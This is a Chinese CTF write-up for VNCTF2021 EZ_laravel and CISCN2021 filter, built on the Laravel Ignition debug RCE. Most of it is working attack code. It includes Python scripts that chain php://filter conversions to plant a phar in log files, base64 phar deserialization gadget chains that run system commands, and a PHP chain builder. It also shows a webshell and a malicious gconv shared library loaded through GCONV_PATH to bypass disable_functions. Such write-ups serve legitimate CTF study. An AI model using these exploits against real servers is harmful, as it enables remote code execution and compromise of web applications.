热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

VNCTF2021EZ_laravel&&CISCN2021filterWP

 写在前面这两个题目的口子一样,完全可以参照 laravel 8 debug rce 的漏洞,里面值得细讲的就是转换器,和不同框架的日志文件,先分析漏洞吧,框架有很多,日志也不相同,希望同样的漏洞发生

 

写在前面

这两个题目的口子一样,完全可以参照 laravel 8 debug rce 的漏洞,里面值得细讲的就是转换器,和不同框架的日志文件,先分析漏洞吧,框架有很多,日志也不相同,希望同样的漏洞发生在不同框架时,可以通过分析日志来变通。

 

环境准备

环境是在 win下面的。

composer create-project laravel/laravel="8.0.*" laravel8.0 --prefer-dist
cd laravel8.0
composer require facade/ignition==2.5.1
php artisan serve

 

漏洞分析

由于我们是直接创建了一个项目所以,没有出现Ignition(Laravel 6+默认错误页面生成器),这个错误页面生成器会提供一个solutions。在 这个控制器中有入口。

src/Http/Controllers/ExecuteSolutionController.php

solution 可控 那就可以调用任意 solutionrun方法。且参数可控。

利用点在src/Solutions/MakeViewVariableOptionalSolution.php

viewFile 可控,可以或许可以任意写, $output 是否可控呢?打个断点,看是否污染吧。构造如下数据

如果我们传入了variableName$output 是不会改变的。

那么代码简化

$output=file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);

写入的文件 和 文件内容是没办法齐美的。写入木马自然不可以。

 

漏洞利用

原作者的思路,是尝试往日志文件中写入 phar 文件,然后在 file_get_contents 处触发 反序列化。

我们可以利用 php://filter/write=过滤器 来获取日志文件的内容,然后在写入过滤后的内容来,写入完整的 phar文件。


首先清除日志。

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

参考链接已经解释很详细了,就不造次了。


写入 payload

=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00

可以先观察日志文件,日志只记录了报错信息。

[2021-05-19 07:54:58] local.ERROR: file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory at D:\\ctf\\phpstudy\\phpstudy_pro\\WWW\\sources\\laravel\\laravel8.0\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
……

可以发现 我们的payload (xxxxx) 出现了两次。

重点讲一下 写入phar 文件时清空干扰词遇见的的问题。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

quoted-printable-decode会把我们的payload解码,

然后在再 utf-16le->utf-8

utf-16le 是两个字节编码的,

可以看一下,其实 相当于 就是 将 1234 => 1\02\03\04\0

我们写入的payload也是这种形式的,我们希望在 utf-16le -> utf-8 的时候我们的payload可以得到正确的解码

那么就需要 payload 前面的字符数量是 偶数个。

喔?奇数个?我们是有两个payload在日志文件中的,这两个payload中间也是奇数个的。

而日志文件是奇数个的。
















xxxxpayloadxxxxpayloadxxxx
奇数偶数奇数偶数奇数

这样的话我们可以尝试复写一个前缀进去,
















xxxxAAxxxxAAxxxx
奇数偶数奇数偶数奇数
















xxxxpayloadxxxxpayloadxxxx
奇数偶数奇数偶数奇数

这样的话,我们处于前面位置的payload 就会在转码后 完整保留下来。当我把payload 换成phar 的链子的时候,出现了错误,我看有的师傅会在 payload 后面再加一个 A,问题是解决了。可能日志的问题吧。但加前缀在一定程度上一定没问题的。

如果在写入phar文件的时候出现了问题,不妨再在payload后加一个 A 后缀吧。

贴个自己写的exp吧。

import requests
import json
url = "http://127.0.0.1:8000/_ignition/execute-solution"
#清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
#payload
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpgAQAAAgAAABEAAAABAAAAAAAJAQAATzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6Mzp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6OToiACoAYnVmZmVyIjthOjE6e3M6NDoidGVzdCI7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czoxMDoiACoAaGFuZGxlciI7TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN07IzUmEt8iAPk56fX9y7EGC+LREcCAAAAR0JNQg=='
file2=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()+'A'
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
file4='phar://../storage/logs/laravel.log'
def getpayload(file):
payload = json.dumps({
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": file
}
})
return payload
headers = {
'Content-Type': 'application/json'
}
def write():
res=requests.request("POST", url, headers=headers, data=getpayload(file1))
if 'ErrorException' in res.text:
requests.request("POST", url, headers=headers, data=getpayload(file1))
requests.request("POST", url, headers=headers, data=getpayload('AA'))
requests.request("POST", url, headers=headers, data=getpayload(file2))
res=requests.request("POST", url, headers=headers, data=getpayload(file3))
if 'ErrorException' in res.text:
print('写入失败,重来喽')
write()

当然这个漏洞还可以利用 file_put_contents 通过 ftp 被动模式 打ssrf

 

题目



[VNCTF 2021]Easy_laravel

给了源码,phar文件写入日志的漏洞还在,但是要重新找一个链子。

__destruct

Importconfigurator 类中

__call()

HigherOrderMessage类中

这里可以实例化任意类,并调用其任意方法。

找存在危险函数的方法。

Mockclass

这里可以执行任意代码。

namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent = $class;
$this->route = 'test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock = $class;
$this->method = 'generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $classCode;
private $mockName;
public function __construct(){
$this->classCode = "phpinfo();";
$this->mockName = 'jiang';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$m = new MockTrait();
$h = new HigherOrderMessage($m);
$i = new ImportConfigurator($h);
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> addFromString("test.txt","test");
$phar -> setStub("GIF89a"."");
$phar -> setMetadata($i);
$phar -> stopBuffering();
echo base64_encode(file_get_contents('phar.phar'));
}
?>

将payload 带进上面的 exp,打不通?这就是 在后面加’A’的问题了,去掉就可以了。

ban了 iconviconv_strlen。 有猫腻哈哈。留了 putenv,但还ban了 mail 应该就是利用 php://filter 中的 iconv转换器来加载恶意so 了,还开了 open_basedir

漏洞原型如下

https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80

先写一个可持续利用log 吧,不然每次都要重新打,很烦。

jiang.phar 内容是一个 eval($_GET[cmd])的木马

globini_set都没绕过 这open_basedir,很奇怪。

guoke师傅的wp里说 有 /readflag

在传入 .so 文件和 module文件的时候,不能从远程vps 上下载,只能分段传输了,切记 分段传输的时候 文件的完整性,如果最后没打通,来检查检查 .so文件是否完整。

#include
#include
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
exit(0);
}
gcc payload.c -o payload.so -shared -fPIC

gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2

在exp 中加入这个函数,跑就好了,上面的 write函数可以不用执行了,记得修改phar://

def read():
parm="?cmd=print_r(scandir('/tmp'));putenv('GCONV_PATH=/tmp/');file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/jiang','jiang');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
while 'flag' not in res.text:
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print('continue')
parm="?cmd=echo file_get_contents('/tmp/flag');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print(res.text.split('')[1])
read()

这里比较玄学,因为在转换器触发.so 文件的时候,并不一定会成功,第一次做的时候 十几次,写wp再做的时候 跑了上百次,多发几次。( fuck 我加的


CISCN filter

题目就给了个 composer.json文件 和 控制器,hint是 log的配置

log可以写进本地配置自己打的,在config/web.config

同样是把报错内容写进 日志里。

不一样的是,日志的 payload(xxxxxxx) 只出现了一次,

我们 编码后的payload 一定是偶数,

前偶后偶,不用加前缀了,直接打payload就可以了诶。

本地环境可能有些问题,牛头不对马嘴了

这两个日志不同的 是 ??? 没了。

长度还变成了 奇数个。

不过不影响,因为我们 payload前面是不变的偶数,影响的只有后面,只有保证后面是偶数个,在 utf-16le->utf-8 的时候不报错就OK。

加一个 A 就行。

这道题的坑在

这里,

yii这个版本没可用的链子。

需要用 monolog组件的链子打

exp如下

import requests
import os
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq+AgAAAgAAABEAAAABAAAAAABnAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6Njoic29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6Njoic3lzdGVtIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NDoiY2FsYyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19BQAAAGR1bW15BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3SLzw7MRTDv+IZ+8iRcMtNeQdjWsQIAAABHQk1C'
payload=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
url = "http://localhost:8080/?file="
proxies = {
"http": None,
"https": None,
}
# 清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
#payload
file2=payload
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
file4='phar://../runtime/logs/app.log'
def write():
res = requests.get(url=url+file1,proxies=proxies)
while 'Congratulations!' not in res.text:
res = requests.get(url=url+file1,proxies=proxies)
#题目环境可能 payload前面偶数后奇数,所以后面再加以个 A (payload永远偶数)
#requests.get(url=url+'AA',proxies=proxies) #题目环境的日志可能不一样,如果加上A 出错,不加A 出不来,就把这个注释去掉
requests.get(url=url+file2+'A',proxies=proxies) # 本地如果加了A 出错,就把A去掉,
res = requests.get(url=url+file3,proxies=proxies)
if 'Congratulations!' not in res.text:
print('重来!!')
else:
print('写入成功')
read()
def read():
res=requests.get(url=url+file4,proxies=proxies)
print(res.text)
write()

动画

这是弹计算器的,buu上复现的话,记得换payload

每个人的目录结构不同,日志也会不一样,原理大抵如此,如果有遇到什么问题还请告知,还有爱春秋春季赛TP5.1.41的类似问题,也方便解答。

参考

https://www.ambionics.io/blog/laravel-debug-rce

https://xz.aliyun.com/t/9030


推荐阅读
  • 在Laravel中实现PHP对JSON数据的发布与处理 ... [详细]
  • 掌握PHP编程必备知识与技巧——全面教程在当今的PHP开发中,了解并运用最新的技术和最佳实践至关重要。本教程将详细介绍PHP编程的核心知识与实用技巧。首先,确保你正在使用PHP 5.3或更高版本,最好是最新版本,以充分利用其性能优化和新特性。此外,我们还将探讨代码结构、安全性和性能优化等方面的内容,帮助你成为一名更高效的PHP开发者。 ... [详细]
  • 在AngularJS中,有时需要在表单内包含某些控件,但又不希望这些控件导致表单变为脏状态。例如,当用户对表单进行修改后,表单的$dirty属性将变为true,触发保存对话框。然而,对于一些导航或辅助功能控件,我们可能并不希望它们触发这种行为。 ... [详细]
  • 使用 ModelAttribute 实现页面数据自动填充
    本文介绍了如何利用 Spring MVC 中的 ModelAttribute 注解,在页面跳转后自动填充表单数据。主要探讨了两种实现方法及其背后的原理。 ... [详细]
  • 本文探讨了在Lumen框架中实现自定义表单验证功能的方法与挑战。Lumen的表单验证机制默认返回无状态的JSON格式API响应,这给初学者带来了一定的难度。通过深入研究Validate类,作者分享了如何有效配置和使用自定义验证规则,以提升表单数据的准确性和安全性。 ... [详细]
  • 本文探讨了在 PHP 的 Zend 框架下,使用 PHPUnit 进行单元测试时遇到的 Zend_Controller_Response_Exception 错误,并提供了解决方案。 ... [详细]
  • 2023年1月28日网络安全热点
    涵盖最新的网络安全动态,包括OpenSSH和WordPress的安全更新、VirtualBox提权漏洞、以及谷歌推出的新证书验证机制等内容。 ... [详细]
  • iOS如何实现手势
    这篇文章主要为大家展示了“iOS如何实现手势”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“iOS ... [详细]
  • egg实现登录鉴权(七):权限管理
    权限管理包含三部分:访问页面的权限,操作功能的权限和获取数据权限。页面权限:登录用户所属角色的可访问页面的权限功能权限:登录用户所属角色的可访问页面的操作权限数据权限:登录用户所属 ... [详细]
  • 本文详细介绍了如何在 Ubuntu 14.04 系统上搭建仅使用 CPU 的 Caffe 深度学习框架,包括环境准备、依赖安装及编译过程。 ... [详细]
  • 本文详细介绍如何在 Apache 中设置虚拟主机,包括基本配置和高级设置,帮助用户更好地理解和使用虚拟主机功能。 ... [详细]
  • 本文探讨了使用lightopenid库实现网站登录,并在用户成功登录后,如何获取其姓名、电子邮件及出生日期等详细信息的方法。特别针对Google OpenID进行了说明。 ... [详细]
  • 长期从事ABAP开发工作的专业人士,在面对行业新趋势时,往往需要重新审视自己的发展方向。本文探讨了几位资深专家对ABAP未来走向的看法,以及开发者应如何调整技能以适应新的技术环境。 ... [详细]
  • Android与JUnit集成测试实践
    本文探讨了如何在Android项目中集成JUnit进行单元测试,并详细介绍了修改AndroidManifest.xml文件以支持测试的方法。 ... [详细]
  • 在Laravel 5.5中,若应用启用了CSRF防护机制,在用户长时间未操作后再提交表单时,系统会显示一个预设的错误页面。本文介绍如何自定义该错误页面的视图内容,以确保其风格与您的应用程序界面保持一致,同时提供更友好的用户体验。 ... [详细]
author-avatar
再见要死不活的_454
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有